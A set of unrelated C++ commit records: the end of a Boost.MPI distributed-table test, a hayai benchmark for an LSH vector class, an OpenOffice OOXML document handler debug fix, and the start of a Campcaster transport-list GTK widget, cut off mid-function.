remove(temporary_file_name.str().c_str());\n world.barrier();\n\n \/\/ Initialize the memory allocator.\n core::table::global_m_file_ = new core::table::MemoryMappedFile();\n core::table::global_m_file_->Init(\n std::string(\"tmp_file\"), world.rank(),\n world.rank() % (world.size() \/ 3), 5000000);\n\n \/\/ Seed the random number.\n srand(time(NULL) + world.rank());\n\n if(world.rank() == 0) {\n printf(\"%d processes are present...\\n\", world.size());\n }\n\n \/\/ If the process ID is less than half of the size of the\n \/\/ communicator, make it a table process. Otherwise, make it a\n \/\/ computation process. This assignment depends heavily on the\n \/\/ round-robin assignment of mpirun.\n boost::mpi::group world_group = world.group();\n std::vector<int> table_outbox_group_vector(world.size() \/ 3, 0);\n std::vector<int> table_inbox_group_vector(world.size() \/ 3, 0);\n std::vector<int> computation_group_vector(world.size() \/ 3, 0);\n for(int i = 0; i < world.size() \/ 3; i++) {\n table_outbox_group_vector[i] = i;\n table_inbox_group_vector[i] = i + world.size() \/ 3;\n computation_group_vector[i] = i + world.size() \/ 3 * 2;\n }\n\n boost::mpi::group table_outbox_group =\n world_group.include(\n table_outbox_group_vector.begin(), table_outbox_group_vector.end());\n boost::mpi::communicator table_outbox_group_comm(world, table_outbox_group);\n boost::mpi::group table_inbox_group =\n world_group.include(\n table_inbox_group_vector.begin(), table_inbox_group_vector.end());\n boost::mpi::communicator table_inbox_group_comm(world, table_inbox_group);\n boost::mpi::group computation_group =\n world_group.include(\n computation_group_vector.begin(), computation_group_vector.end());\n boost::mpi::communicator computation_group_comm(world, computation_group);\n\n \/\/ Create the intercommunicator between the current process and each\n \/\/ of the subgroups.\n \/\/ if(world.rank() >= world.size() \/ 3) {\n table_outbox_group_vector.push_back(world.rank());\n \/\/}\n \/\/if( world.rank() < world.size() \/ 3 ||\n \/\/ world.rank() >= world.size() \/ 3 * 2 ) {\n table_inbox_group_vector.push_back(world.rank());\n \/\/}\n \/\/if( world.rank() < world.size() \/ 3 * 2) {\n computation_group_vector.push_back(world.rank());\n \/\/ }\n boost::mpi::group table_outbox_inter_group =\n world_group.include(\n table_outbox_group_vector.begin(), table_outbox_group_vector.end());\n boost::mpi::communicator table_outbox_group_inter_comm(\n world, table_outbox_inter_group);\n boost::mpi::group table_inbox_inter_group =\n world_group.include(\n table_inbox_group_vector.begin(), table_inbox_group_vector.end());\n boost::mpi::communicator table_inbox_group_inter_comm(\n world, table_inbox_inter_group);\n boost::mpi::group computation_inter_group =\n world_group.include(\n computation_group_vector.begin(), computation_group_vector.end());\n boost::mpi::communicator computation_group_inter_comm(\n world, computation_inter_group);\n\n \/\/ Declare the distributed table.\n core::table::DistributedTable *distributed_table = NULL;\n\n \/\/ Wait until the memory allocator is in synch.\n world.barrier();\n\n \/\/ Read the distributed table once per each compute node, and put a\n \/\/ barrier.\n if(world.rank() < world.size() \/ 3) {\n distributed_table =\n InitDistributedTable(world, table_outbox_group_comm);\n }\n world.barrier();\n\n \/\/ Attach the distributed table for all the processes and put a\n \/\/ barrier.\n std::pair< core::table::DistributedTable *, std::size_t >\n distributed_table_pair =\n core::table::global_m_file_->UniqueFind<core::table::DistributedTable>();\n distributed_table = distributed_table_pair.first;\n\n \/\/ Check the integrity of the distributed table.\n CheckDistributedTableIntegrity(\n *distributed_table, world,\n table_outbox_group_inter_comm, table_inbox_group_inter_comm);\n\n \/\/ The main computation loop.\n if(world.rank() < world.size() \/ 3) {\n TableOutboxProcess(\n distributed_table, world, table_outbox_group_inter_comm,\n table_inbox_group_inter_comm, computation_group_inter_comm);\n }\n else if(world.rank() < world.size() \/ 3 * 2) {\n TableInboxProcess(\n distributed_table, world, table_outbox_group_inter_comm,\n table_inbox_group_inter_comm, computation_group_inter_comm);\n }\n else {\n ComputationProcess(\n distributed_table, world,\n table_outbox_group_inter_comm, table_inbox_group_inter_comm,\n computation_group_inter_comm);\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include \"..\/lib\/hayai\/hayai.hpp\"\n#include \"..\/lib\/hayai\/hayai_posix_main.cpp\"\n#include \"..\/src\/vector.hpp\"\n\nusing namespace lsh;\n\nstd::vector<bool> c(128);\n\nvector u = vector::random(128);\nvector v = vector::random(128);\n\nBENCHMARK(vector, vector, 10000, 200) {\n lsh::vector v(c);\n}\n\nBENCHMARK(vector, size, 10000, 75000) {\n v.size();\n}\n\nBENCHMARK(vector, get, 10000, 18000) {\n v.get(64);\n}\n\nBENCHMARK(vector, equals, 10000, 10000) {\n bool f = v == u;\n}\n\nBENCHMARK(vector, dot_product, 10000, 10000) {\n v * u;\n}\n\nBENCHMARK(vector, and, 10000, 500) {\n v & u;\n}\n\nBENCHMARK(vector, hash, 10000, 28000) {\n v.hash();\n}\n\nBENCHMARK(vector, distance, 10000, 9000) {\n vector::distance(u, v);\n}\n\nBENCHMARK(vector, random, 10000, 10) {\n vector::random(128);\n}\n<commit_msg>Increase vector bench iteration count<commit_after>#include <vector>\n#include \"..\/lib\/hayai\/hayai.hpp\"\n#include \"..\/lib\/hayai\/hayai_posix_main.cpp\"\n#include \"..\/src\/vector.hpp\"\n\nusing namespace lsh;\n\nstd::vector<bool> c(128);\n\nvector u = vector::random(128);\nvector v = vector::random(128);\n\nBENCHMARK(vector, vector, 10000, 300) {\n lsh::vector v(c);\n}\n\nBENCHMARK(vector, size, 10000, 75000) {\n v.size();\n}\n\nBENCHMARK(vector, get, 10000, 18000) {\n v.get(64);\n}\n\nBENCHMARK(vector, equals, 10000, 10000) {\n bool f = v == u;\n}\n\nBENCHMARK(vector, dot_product, 10000, 10000) {\n v * u;\n}\n\nBENCHMARK(vector, and, 10000, 500) {\n v & u;\n}\n\nBENCHMARK(vector, hash, 10000, 28000) {\n v.hash();\n}\n\nBENCHMARK(vector, distance, 10000, 9000) {\n vector::distance(u, v);\n}\n\nBENCHMARK(vector, random, 10000, 10) {\n vector::random(128);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <iostream>\n#include <boost\/shared_ptr.hpp>\n#ifdef DEBUG_ELEMENT\n#include \"ooxmlLoggers.hxx\"\n#include <resourcemodel\/Protocol.hxx>\n#endif\n#include \"OOXMLFastDocumentHandler.hxx\"\n#include \"OOXMLFastContextHandler.hxx\"\n#include \"OOXMLFastTokens.hxx\"\n#include \"OOXMLFactory.hxx\"\n\nnamespace writerfilter {\nnamespace ooxml\n{\nusing namespace ::com::sun::star;\nusing namespace ::std;\n\n\nOOXMLFastDocumentHandler::OOXMLFastDocumentHandler\n(uno::Reference< uno::XComponentContext > const & context)\n: m_xContext(context)\n{}\n\n\/\/ ::com::sun::star::xml::sax::XFastContextHandler:\nvoid SAL_CALL OOXMLFastDocumentHandler::startFastElement\n(::sal_Int32\n#ifdef DEBUG_CONTEXT_STACK\nElement\n#endif\n, const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":start element:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::startUnknownElement\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n, const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n,\n const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":start unknown element:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endFastElement(::sal_Int32\n#ifdef DEBUG_CONTEXT_STACK\nElement\n#endif\n)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":end element:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endUnknownElement\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n, const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":end unknown element:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n}\n\nOOXMLFastContextHandler::Pointer_t\nOOXMLFastDocumentHandler::getContextHandler() const\n{\n if (mpContextHandler == OOXMLFastContextHandler::Pointer_t())\n {\n mpContextHandler.reset\n (new OOXMLFastContextHandler(m_xContext));\n mpContextHandler->setStream(mpStream);\n mpContextHandler->setDocument(mpDocument);\n mpContextHandler->setXNoteId(msXNoteId);\n mpContextHandler->setForwardEvents(true);\n }\n\n return mpContextHandler;\n}\n\nuno::Reference< xml::sax::XFastContextHandler > SAL_CALL\n OOXMLFastDocumentHandler::createFastChildContext\n(::sal_Int32 Element,\n const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":createFastChildContext:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n\n return OOXMLFactory::getInstance()->createFastChildContextFromStart(getContextHandler().get(), Element);\n}\n\nOOXMLParserState::Pointer_t OOXMLFastDocumentHandler::getParserState() const\n{\n OOXMLParserState::Pointer_t pParserState;\n\n return getContextHandler()->getParserState();\n}\n\nuno::Reference< xml::sax::XFastContextHandler > SAL_CALL\nOOXMLFastDocumentHandler::createUnknownChildContext\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n,\n const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n, const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":createUnknownChildContext:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n\n return uno::Reference< xml::sax::XFastContextHandler >\n (new OOXMLFastDocumentHandler(m_xContext));\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::characters(const ::rtl::OUString & \/*aChars*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n \/\/ TODO: Insert your implementation for \"characters\" here.\n}\n\n\/\/ ::com::sun::star::xml::sax::XFastDocumentHandler:\nvoid SAL_CALL OOXMLFastDocumentHandler::startDocument()\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endDocument()\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n OOXMLFastContextHandler::dumpOpenContexts();\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::setDocumentLocator\n(const uno::Reference< xml::sax::XLocator > & \/*xLocator*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n \/\/ TODO: Insert your implementation for \"setDocumentLocator\" here.\n}\n\nvoid OOXMLFastDocumentHandler::setStream(Stream * pStream)\n{\n#ifdef DEBUG_PROTOCOL\n mpTmpStream.reset(new StreamProtocol(pStream, debug_logger));\n mpStream = mpTmpStream.get();\n#else\n mpStream = pStream;\n#endif\n}\n\nvoid OOXMLFastDocumentHandler::setDocument(OOXMLDocument * pDocument)\n{\n mpDocument = pDocument;\n}\n\nvoid OOXMLFastDocumentHandler::setXNoteId(const ::rtl::OUString & rXNoteId)\n{\n msXNoteId = rXNoteId;\n}\n\nvoid OOXMLFastDocumentHandler::setIsSubstream( bool bSubstream )\n{\n getContextHandler( )->getParserState( )->setInSectionGroup( bSubstream );\n}\n\n}}\n<commit_msg>sw34bf01: #i114285#: patch by dtardon: fix build with -DEBUG_CONTEXT_STACK<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <iostream>\n#include <boost\/shared_ptr.hpp>\n#ifdef DEBUG_ELEMENT\n#include \"ooxmlLoggers.hxx\"\n#include <resourcemodel\/Protocol.hxx>\n#endif\n#include \"OOXMLFastDocumentHandler.hxx\"\n#include \"OOXMLFastContextHandler.hxx\"\n#include \"OOXMLFastTokens.hxx\"\n#include \"OOXMLFactory.hxx\"\n\nnamespace writerfilter {\nnamespace ooxml\n{\nusing namespace ::com::sun::star;\nusing namespace ::std;\n\n\nOOXMLFastDocumentHandler::OOXMLFastDocumentHandler\n(uno::Reference< uno::XComponentContext > const & context)\n: m_xContext(context)\n{}\n\n\/\/ ::com::sun::star::xml::sax::XFastContextHandler:\nvoid SAL_CALL OOXMLFastDocumentHandler::startFastElement\n(::sal_Int32\n#ifdef DEBUG_CONTEXT_STACK\nElement\n#endif\n, const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":start element:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::startUnknownElement\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n, const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n,\n const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":start unknown element:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endFastElement(::sal_Int32\n#ifdef DEBUG_CONTEXT_STACK\nElement\n#endif\n)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":end element:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endUnknownElement\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n, const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n)\nthrow (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":end unknown element:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n}\n\nOOXMLFastContextHandler::Pointer_t\nOOXMLFastDocumentHandler::getContextHandler() const\n{\n if (mpContextHandler == OOXMLFastContextHandler::Pointer_t())\n {\n mpContextHandler.reset\n (new OOXMLFastContextHandler(m_xContext));\n mpContextHandler->setStream(mpStream);\n mpContextHandler->setDocument(mpDocument);\n mpContextHandler->setXNoteId(msXNoteId);\n mpContextHandler->setForwardEvents(true);\n }\n\n return mpContextHandler;\n}\n\nuno::Reference< xml::sax::XFastContextHandler > SAL_CALL\n OOXMLFastDocumentHandler::createFastChildContext\n(::sal_Int32 Element,\n const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":createFastChildContext:\"\n << fastTokenToId(Element)\n << endl;\n#endif\n\n return OOXMLFactory::getInstance()->createFastChildContextFromStart(getContextHandler().get(), Element);\n}\n\nOOXMLParserState::Pointer_t OOXMLFastDocumentHandler::getParserState() const\n{\n OOXMLParserState::Pointer_t pParserState;\n\n return getContextHandler()->getParserState();\n}\n\nuno::Reference< xml::sax::XFastContextHandler > SAL_CALL\nOOXMLFastDocumentHandler::createUnknownChildContext\n(const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nNamespace\n#endif\n,\n const ::rtl::OUString &\n#ifdef DEBUG_CONTEXT_STACK\nName\n#endif\n, const uno::Reference< xml::sax::XFastAttributeList > & \/*Attribs*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n#ifdef DEBUG_CONTEXT_STACK\n clog << this << \":createUnknownChildContext:\"\n << OUStringToOString(Namespace, RTL_TEXTENCODING_ASCII_US).getStr()\n << \":\"\n << OUStringToOString(Name, RTL_TEXTENCODING_ASCII_US).getStr()\n << endl;\n#endif\n\n return uno::Reference< xml::sax::XFastContextHandler >\n (new OOXMLFastDocumentHandler(m_xContext));\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::characters(const ::rtl::OUString & \/*aChars*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n \/\/ TODO: Insert your implementation for \"characters\" here.\n}\n\n\/\/ ::com::sun::star::xml::sax::XFastDocumentHandler:\nvoid SAL_CALL OOXMLFastDocumentHandler::startDocument()\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::endDocument()\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n}\n\nvoid SAL_CALL OOXMLFastDocumentHandler::setDocumentLocator\n(const uno::Reference< xml::sax::XLocator > & \/*xLocator*\/)\n throw (uno::RuntimeException, xml::sax::SAXException)\n{\n \/\/ TODO: Insert your implementation for \"setDocumentLocator\" here.\n}\n\nvoid OOXMLFastDocumentHandler::setStream(Stream * pStream)\n{\n#ifdef DEBUG_PROTOCOL\n mpTmpStream.reset(new StreamProtocol(pStream, debug_logger));\n mpStream = mpTmpStream.get();\n#else\n mpStream = pStream;\n#endif\n}\n\nvoid OOXMLFastDocumentHandler::setDocument(OOXMLDocument * pDocument)\n{\n mpDocument = pDocument;\n}\n\nvoid OOXMLFastDocumentHandler::setXNoteId(const ::rtl::OUString & rXNoteId)\n{\n msXNoteId = rXNoteId;\n}\n\nvoid OOXMLFastDocumentHandler::setIsSubstream( bool bSubstream )\n{\n getContextHandler( )->getParserState( )->setInSectionGroup( bSubstream );\n}\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*------------------------------------------------------------------------------\n\n Copyright (c) 2004 Media Development Loan Fund\n \n This file is part of the Campcaster project.\n http:\/\/campcaster.campware.org\/\n To report bugs, send an e-mail to bugs@campware.org\n \n Campcaster is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n \n Campcaster is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with Campcaster; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n \n \n Author : $Author: fgerlits $\n Version : $Revision$\n Location : $URL: svn+ssh:\/\/fgerlits@code.campware.org\/home\/svn\/repo\/livesupport\/trunk\/livesupport\/src\/products\/gLiveSupport\/src\/TransportList.cxx $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n#include \"TransportList.h\"\n\n\nusing namespace LiveSupport::Core;\nusing namespace LiveSupport::StorageClient;\nusing namespace LiveSupport::Widgets;\nusing namespace LiveSupport::GLiveSupport;\n\n\/* =================================================== local data structures *\/\n\n\n\/* ================================================ local constants & macros *\/\n\nnamespace {\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'working' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring workingStatusKey = \"workingStatus\";\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'success' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring successStatusKey = \"successStatus\";\n\n\/*------------------------------------------------------------------------------\n * The localization key for the 'fault' status.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring faultStatusKey = \"faultStatus\";\n\n\/*------------------------------------------------------------------------------\n * The name of the user preference for storing the list of transports.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring userPreferencesKeyName = \"activeTransports\";\n\n\/*------------------------------------------------------------------------------\n * The symbol for an upload.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring uploadSymbol = \"⇧\";\n\n\/*------------------------------------------------------------------------------\n * The symbol for a download.\n *----------------------------------------------------------------------------*\/\nconst Glib::ustring downloadSymbol = \"⇩\";\n\n}\n\n\/* =============================================== local function prototypes *\/\n\n\n\/* ============================================================= module code *\/\n\n\/*------------------------------------------------------------------------------\n * Constructor.\n *----------------------------------------------------------------------------*\/\nTransportList :: TransportList (Ptr<GLiveSupport>::Ref gLiveSupport,\n Ptr<ResourceBundle>::Ref bundle)\n throw ()\n : LocalizedObject(bundle),\n gLiveSupport(gLiveSupport)\n{\n Ptr<WidgetFactory>::Ref widgetFactory = WidgetFactory::getInstance();\n\n \/\/ create the tree view\n treeModel = Gtk::ListStore::create(modelColumns);\n treeView = Gtk::manage(widgetFactory->createTreeView(treeModel));\n treeView->set_enable_search(false);\n\n \/\/ Add the TreeView's view columns:\n try {\n treeView->appendColumn(\"\",\n modelColumns.directionColumn, 20);\n treeView->appendColumn(*getResourceUstring(\"titleColumnLabel\"),\n modelColumns.titleColumn, 300);\n treeView->appendColumn(*getResourceUstring(\"dateColumnLabel\"),\n modelColumns.dateColumn, 180);\n treeView->appendColumn(*getResourceUstring(\"statusColumnLabel\"),\n modelColumns.statusDisplayColumn, 50);\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n \n \/\/ register the signal handler for treeview entries being clicked\n treeView->signal_button_press_event().connect_notify(sigc::mem_fun(*this,\n &TransportList::onEntryClicked));\n\n \/\/ create the right-click entry context menu\n uploadMenu = Gtk::manage(new Gtk::Menu());\n downloadMenu = Gtk::manage(new Gtk::Menu());\n Gtk::Menu::MenuList& uploadMenuList = uploadMenu->items();\n Gtk::Menu::MenuList& downloadMenuList = downloadMenu->items();\n \n try{\n uploadMenuList.push_back(Gtk::Menu_Helpers::MenuElem(\n *getResourceUstring(\"cancelUploadMenuItem\"),\n sigc::mem_fun(*this,\n &TransportList::onCancelTransport)));\n downloadMenuList.push_back(Gtk::Menu_Helpers::MenuElem(\n *getResourceUstring(\"cancelDownloadMenuItem\"),\n sigc::mem_fun(*this,\n &TransportList::onCancelTransport)));\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n \n uploadMenu->accelerate(*this);\n downloadMenu->accelerate(*this);\n\n \/\/ add the tree view to this widget\n Gtk::VBox::pack_start(*treeView);\n\n userPreferencesKey.reset(new const Glib::ustring(userPreferencesKeyName));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add a new upload task to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: addUpload(Ptr<Playable>::Ref playable)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref token = storage->uploadToHub(sessionId,\n playable->getId());\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = uploadSymbol;\n row[modelColumns.titleColumn] = *playable->getTitle();\n row[modelColumns.dateColumn] = *TimeConversion::nowString();\n row[modelColumns.statusColumn] = workingStatusKey;\n row[modelColumns.statusDisplayColumn] \n = *getResourceUstring(workingStatusKey);\n row[modelColumns.tokenColumn] = token;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add a new download task to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: addDownload(Ptr<Playable>::Ref playable)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref token = storage->downloadFromHub(\n sessionId,\n playable->getId());\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = downloadSymbol;\n row[modelColumns.titleColumn] = *playable->getTitle();\n row[modelColumns.dateColumn] = *TimeConversion::nowString();\n row[modelColumns.statusColumn] = workingStatusKey;\n row[modelColumns.statusDisplayColumn] \n = *getResourceUstring(workingStatusKey);\n row[modelColumns.tokenColumn] = token;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Add an item with an already existing token to the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: add(const Glib::ustring & title,\n const Glib::ustring & date,\n const Glib::ustring & token,\n bool isUpload)\n throw (XmlRpcException)\n{\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n Ptr<Glib::ustring>::Ref tokenPtr(new Glib::ustring(token));\n Ptr<Glib::ustring>::Ref errorMsg(new Glib::ustring);\n AsyncState state = storage->checkTransport(tokenPtr,\n errorMsg);\n \n Gtk::TreeRow row = *treeModel->append();\n row[modelColumns.directionColumn] = isUpload ? uploadSymbol\n : downloadSymbol;\n row[modelColumns.titleColumn] = title;\n row[modelColumns.dateColumn] = date;\n row[modelColumns.tokenColumn] = tokenPtr;\n setStatus(row, state, errorMsg);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Remove the currently selected item from the list.\n *----------------------------------------------------------------------------*\/\nvoid\nTransportList :: removeSelected(void) throw (XmlRpcException)\n{\n Glib::RefPtr<Gtk::TreeSelection> selection = treeView->get_selection();\n Gtk::TreeIter iter = selection->get_selected();\n if (!iter) {\n return;\n }\n\n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<SessionId>::Ref sessionId = gLiveSupport->getSessionId();\n \n storage->cancelTransport(sessionId, \n iter->get_value(modelColumns.tokenColumn));\n \n treeModel->erase(iter);\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: updateSelected(void) throw (XmlRpcException)\n{\n Glib::RefPtr<Gtk::TreeSelection> selection = treeView->get_selection();\n Gtk::TreeIter iter = selection->get_selected();\n if (!iter) {\n return false;\n } else {\n return update(iter);\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: update(void) throw (XmlRpcException)\n{\n bool didSomething = false;\n \n for (Gtk::TreeIter it = treeModel->children().begin();\n it != treeModel->children().end(); ++it) {\n didSomething |= update(it);\n }\n \n return didSomething;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: updateSilently(void) throw ()\n{\n bool didSomething = false;\n \n for (Gtk::TreeIter it = treeModel->children().begin();\n it != treeModel->children().end(); ++it) {\n try {\n didSomething |= update(it);\n } catch (XmlRpcException &e) {\n }\n }\n \n return didSomething;\n}\n\n\n\/*------------------------------------------------------------------------------\n * Query the storage server about the status of the pending transport.\n *----------------------------------------------------------------------------*\/\nbool\nTransportList :: update(Gtk::TreeIter iter) throw (XmlRpcException)\n{\n if (iter->get_value(modelColumns.statusColumn) != workingStatusKey) {\n return false;\n }\n \n Ptr<StorageClientInterface>::Ref \n storage = gLiveSupport->getStorageClient();\n Ptr<Glib::ustring>::Ref errorMsg(new Glib::ustring);\n AsyncState status = 